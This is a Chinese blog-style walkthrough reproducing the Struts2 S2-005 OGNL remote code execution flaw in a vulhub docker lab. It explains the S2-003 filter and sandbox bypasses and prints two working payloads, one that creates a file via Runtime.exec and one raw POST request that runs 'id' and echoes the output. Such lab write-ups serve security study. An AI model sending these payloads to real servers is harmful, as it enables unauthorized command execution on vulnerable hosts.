S2-005 遠程代碼執行漏洞
S2-005 遠程代碼執行漏洞
參考吳翰清的《白帽子講Web安全》一書。
s2-005漏洞的起源源於S2-003(受影響版本: 低於Struts 2.0.12),struts2會將http的每個參數名解析為OGNL語句執行(可理解為java代碼)。OGNL表達式通過#來訪問struts的對象,struts框架通過過濾#字符防止安全問題,然而通過unicode編碼(\u0023)或8進制(\43)即繞過了安全限制,對於S2-003漏洞,官方通過增加安全配置(禁止靜態方法調用和類方法執行等)來修補,但是安全配置被繞過再次導致了漏洞,攻擊者可以利用OGNL表達式將這2個選項打開,S2-003的修補方案把自己上了一個鎖,但是把鎖鑰匙給插在了鎖頭上
XWork會將GET參數的鍵和值利用OGNL表達式解析成Java語句,如:
user.address.city=Bishkek&user['favoriteDrink']=kumys //會被轉化成 action.getUser().getAddress().setCity("Bishkek") action.getUser().setFavoriteDrink("kumys")
觸發漏洞就是利用了這個點,再配合OGNL的沙盒繞過方法,組成了S2-003。官方對003的修復方法是增加了安全模式(沙盒),S2-005在OGNL表達式中將安全模式關閉,又繞過了修復方法。整體過程如下:
- S2-003 使用
\u0023
繞過s2對#
的防御- S2-003 后官方增加了安全模式(沙盒)
- S2-005 使用OGNL表達式將沙盒關閉,繼續執行代碼
漏洞環境
我們先下載環境,在github有別人直接搭建好的docker環境我們直接拿來用即可
git clone git://github.com/vulhub/vulhub.git cd vulhub/struts2/s2-005/ docker-compose up -d
訪問IP:8080即可看到界面。
影響版本
Struts 2.0.0 - Struts 2.1.8 .1
漏洞復現
我們執行POC
(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/EDI%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1
進入容器查看發現創建的EDI文件
這里假如你發送POC沒有成功的話就把\、"等字符urlencode,編碼以后再發送就好了。
假如你要看一些命令執行有回顯就用這個POC
POST /example/HelloWorld.action HTTP/1.1 Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0) Host: IP:8080 Content-Length: 626 redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27id%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}
發現命令執行成功回顯